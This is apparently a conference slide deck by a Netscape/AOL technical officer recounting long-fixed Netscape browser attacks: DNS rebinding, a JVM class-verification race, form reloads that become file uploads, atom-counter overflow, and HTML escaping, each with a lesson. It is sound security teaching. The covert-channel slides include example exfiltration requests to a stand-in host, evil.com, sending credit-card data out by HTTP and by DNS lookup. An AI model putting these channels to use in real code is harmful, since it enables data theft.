Attacks Against the
Netscape Browser
Jim Roskind, PhD
VP, Chief Technical Officer
AOL Products
America Online Inc.
Introduction
Attacks listed have long since been fixed.
…but techniques seem to last forever
History forgotten, is doomed to be
repeated.
Open source policy suggested additional
disclosure… and here I am.
Who is Jim Roskind?
• Started doing Java security work on
Navigator in November 1995
• Participated in most security firedrill
responses to date
• Worked as Java Security Architect,
developing signed code methodology
What is an Attack?
• Data on a computer is taken without
permission
– Viewing history file, prefs, directory structure
– Extreme: Client computer runs attacker’s
binary code (a Very Bad ThingTM)
• Minor attack would involve revealing a
file’s existence
What isn’t an Attack?
• Denial of service
– Too easy for user to terminate or avoid
– Too hard to tell where a jpeg decoding is in
progress
• It is very hard to stop a Java thread
– Threads can catch exceptions, and start new
threads :-(
Covert Channels: Getting the
info Home to evil.com
• Connect home via http get
– get www.evil.com/goodies?CreditCard…
• Let DNS lookup carry the info
– get IP for
creditCard5551212.goodies.evil.com
• Covert channels will always exist
DNS (Domain Name Service)
• Java applets can traditionally only “phone
home”
– JS can read content from similarly sourced
pages and frames
• What is the definition of home?
– Applet sourced from www.evil.com
• Can the applet contact www.evil.com?
• What exactly is www.evil.com?
DNS: Names to IP address
• DNS Supports multiple IP addresses for a
single name
– Are all such IPs equivalent??
• DNS is dynamic
– The mapping is time varying!
• Is the new IP equivalent to the old IP??
Can you trust DNS info?
browser
user.victim.com
1.2.3.7
www.evil.com
6.6.6.666
1.2.3.4
target.victim.com
1.2.3.4
firewall
First time, DNS is truthful
browser
Get www.evil.com
user.victim.com
1.2.3.7
www.evil.com
6.6.6.666
target.victim.com
1.2.3.4
firewall
Second time, DNS misdirects
browser
Get www.evil.com
user.victim.com
1.2.3.7
www.evil.com
1.2.3.4
target.victim.com
1.2.3.4
firewall
DNS False Advertising
• “Real” problem is that DNS info arrived
from *outside* containing intranet IP
numbers
– Firewall should stop such propagation
• Browser fix: Permanently cache exactly
one IP after a single lookup
– Not friendly to dynamic internet… but safe
Lesson Relearned:
Composition of Safe systems
can be unsafe
• DNS False advertising does not require a
compromise of DNS infrastructure
• Don’t assume the world around is fixed
and unchanging
– DNS had dynamic nature that was NOT
conceptually obvious
Class Verification in JVM
• Load a class
– Work out inheritance and overloading
• Initialize Vtables while working
– Vtables are used to call “methods”
– Load referenced classes
• Causes recursion sometimes
– Verify legal calling and arguments
– Mark class as Verified
Class Verification in JVM
• Bug was reported that “method dispatch”
was causing a “null pointer” exception
• This meant vtable used before being
initialized!
• This meant dispatch before verification
• Problem was in “recursion” handling
Multithreaded JVM Class
verification is not easy
• Class A refers to Class B, and vice versa
– Thread 1 starts using class A
– Thread 2 starts using class B
• Thread 1 starts verifying A, thread 2
starts verifying B
• When is verification done? ;-)
Multithreaded apps are
everywhere
• Two applets on a page is actually what
surfaced this problem
• Reporters of this bug did not mention (or
realize) that their app had run on
multiple threads
Lesson Relearned: Security
fundamental functions, such
as class verification, need a
LOT of review
• Independent work caused rewrite of this
code
• Class verification is hard
Page Reloading with Old State
• Enter text in a form
• Follow a link
• Press back
• Your original text is restored into form
Initial value in forms can be
dangerous
• Initial values for “text” fields are safe,
common and helpful
– Prefill fields to save user typing
• Initial value for “file” fields are dangerous
– A file field specifies file to upload (send?
Steal?) to the server
JavaScript: The “cache” is not
always what it used to be
• JS can create a page anew at each load
– On first load, a field is a text field
– On second load, the “same”(?) field is a file
field
• JS loads text field, traverses, “goes back,”
reloads, and does the submit.
– Be careful to mark the field “types” in saved
data!
Lesson Relearned: Adding
new features (JS) can break
old security
• Original implementation has reasonable
assumptions
– If it is in the cache, it must still be the same
value… right??
• Browsers are very complex beasts when
security is contemplated
– Adding JS changed all the rules
How many Atoms in our
Universe?
• Atom is a spelling of a var or func name
– JVM *had* 2^16 possible atom numbers
– Who would use more than that many
names?
• Attacker overran counter, and it wrapped
– “Verified classes” no longer called the
intended method :-/
Controlling the number of
atoms in the universe
• Proper solution came much later
– Max count pushed to 2^32 (or higher?)
– Bounds checking was added
• Short term Navigator solution: abort
when atom table exhausted!
– Zero reported defects from this hack
solution!
Lesson relearned: Static limits
are evil
• There is more to overrun than string
buffers!
• If there is a limit, it must be checked
Trojan file landing locally
• JS needs to interact with pages from the
same “site” (codebase?)
– Java needs to contact the home site
(codebase?)
• What can local JS and class files do?
– Answer: Access other “local” content
– Developers use this feature extensively
Trojan content may land in
existing files
• Cookies file contains contents supplied by
server
– Cookies can “look like” HTML and JS
If they can’t find local
content, they can’t (ab)use it
• Don’t let server know where content
lands
– “default” user was all too common
– prefs.js file? Bookmarks file? Cookies file?
• Make it hard to guess where user files
are kept (Netscape 6/Mozilla technique)
• Add poison to many files
Lesson Relearned: Try to
formulate and publicize
security requirements
• The fact that it should be “hard” to guess
locations of files is not well publicized
– 3rd party content should not know where it
lands
• Dependencies on “public don’ts” make it
hard to maintain security
– Example: Don’t write down your password!
– Example: Don’t reuse a password
Escaping HTML
• Classic Server side App Flaw
– To display “<“ use “@lt;” etc.
– 3rd Party content must be escaped
• Raw content simulates JS, and accesses
cookies etc. etc. etc.
– News groups? Chat? URL not found?
Client side HTML Escaping
• Most displays appear in “local” context
– about:global
– about:cache
– Content tags in incoming email!
• Escape, escape, escape
Lesson Relearned: Apply
attack techniques to different
environments
• Attacks on server must be studied
• That’s why it was worth mentioning the
attack technique here ;-)
Summary: Penetrate and
Patch is a large part of real
systems
• A browser is a very complex system
• To date, I don’t know of any “in the wild”
exploits being used
– Either we’re doing well, or our head is in the
sand
Netscape is Always working to
improve security
• Send in security reports
http://help.netscape.com/forms/bug-security.html
• Bugs bounty program of $1000 still in
place
– You even get a T-Shirt ;-)
Q&A